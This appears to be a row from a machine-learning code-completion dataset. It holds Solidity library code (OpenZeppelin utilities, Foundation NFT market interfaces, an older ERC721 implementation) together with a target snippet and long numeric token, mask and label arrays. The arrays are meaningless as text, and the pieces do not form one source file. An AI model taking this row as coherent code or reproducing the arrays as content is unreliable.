function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key)
return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @notice Interface for AdminRole which wraps the default admin role from
* OpenZeppelin's AccessControl for easy integration.
*/
interface IAdminRole {
function isAdmin(address account) external view returns (bool);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @notice Interface for OperatorRole which wraps a role from
* OpenZeppelin's AccessControl for easy integration.
*/
interface IOperatorRole {
function isOperator(address account) external view returns (bool);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
/**
* @notice An interface for communicating fees to 3rd party marketplaces.
* @dev Originally implemented in mainnet contract 0x44d6e8933f8271abcf253c72f9ed7e0e4c0323b3
*/
interface IHasSecondarySaleFees {
function getFeeRecipients(uint256 id) external view returns (address payable[] memory);
function getFeeBps(uint256 id) external view returns (uint256[] memory);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
// solhint-disable
pragma solidity ^0.7.0;
interface IFNDNFTMarket {
function getFeeConfig()
external
view
returns (
uint256 primaryFoundationFeeBasisPoints,
uint256 secondaryFoundationFeeBasisPoints,
uint256 secondaryCreatorFeeBasisPoints
);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
interface IGetRoyalties {
function getRoyalties(uint256 tokenId)
external
view
returns (address payable[] memory recipients, uint256[] memory feesInBasisPoints);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
library BytesLibrary {
function replaceAtIf(
bytes memory data,
uint256 startLocation,
address expectedAddress,
address newAddress
) internal pure {
bytes memory expectedData = abi.encodePacked(expectedAddress);
bytes memory newData = abi.encodePacked(newAddress);
// An address is 20 bytes long
for (uint256 i = 0; i < 20; i++) {
uint256 dataLocation = startLocation + i;
require(data[dataLocation] == expectedData[i], "Bytes: Data provided does not include the expectedAddress");
data[dataLocation] = newData[i];
}
}
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
interface ITokenCreator {
function tokenCreator(uint256 tokenId) external view returns (address payable);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
interface ITokenCreatorPaymentAddress {
function getTokenCreatorPaymentAddress(uint256 tokenId)
external
view
returns (address payable tokenCreatorPaymentAddress);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC1271 standard signature validation method for
* contracts as defined in https://eips.ethereum.org/EIPS/eip-1271[ERC-1271].
*
* from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/interfaces/IERC1271.sol
*/
interface IERC1271 {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.7.0;
interface IProxyCall {
function proxyCallAndReturnAddress(address externalContract, bytes calldata callData)
external
returns (address payable result);
} | * @notice Allows a contract to leverage the admin role defined by the Foundation treasury./ This file uses 0 data slots (other than what's included via FoundationTreasuryNode) | abstract contract FoundationAdminRole is FoundationTreasuryNode {
modifier onlyFoundationAdmin() {
require(_isFoundationAdmin(), "FoundationAdminRole: caller does not have the Admin role");
_;
}
function _isFoundationAdmin() internal view returns (bool) {
return IAdminRole(getFoundationTreasury()).isAdmin(msg.sender);
}
}
| 6,289,333 | [
1,
19132,
279,
6835,
358,
884,
5682,
326,
3981,
2478,
2553,
635,
326,
31289,
9787,
345,
22498,
18,
19,
1220,
585,
4692,
374,
501,
12169,
261,
3011,
2353,
4121,
1807,
5849,
3970,
31289,
56,
266,
345,
22498,
907,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
31289,
4446,
2996,
353,
31289,
56,
266,
345,
22498,
907,
288,
203,
203,
203,
225,
9606,
1338,
27788,
4446,
1435,
288,
203,
565,
2583,
24899,
291,
27788,
4446,
9334,
315,
27788,
4446,
2996,
30,
4894,
1552,
486,
1240,
326,
7807,
2478,
8863,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
445,
389,
291,
27788,
4446,
1435,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
565,
327,
467,
4446,
2996,
12,
588,
27788,
56,
266,
345,
22498,
1435,
2934,
291,
4446,
12,
3576,
18,
15330,
1769,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.25;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity 0.4.25;
import "./IERC165.sol";
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor () internal {
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity 0.4.25;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./SafeMath.sol";
import "./Address.sol";
import "./ERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
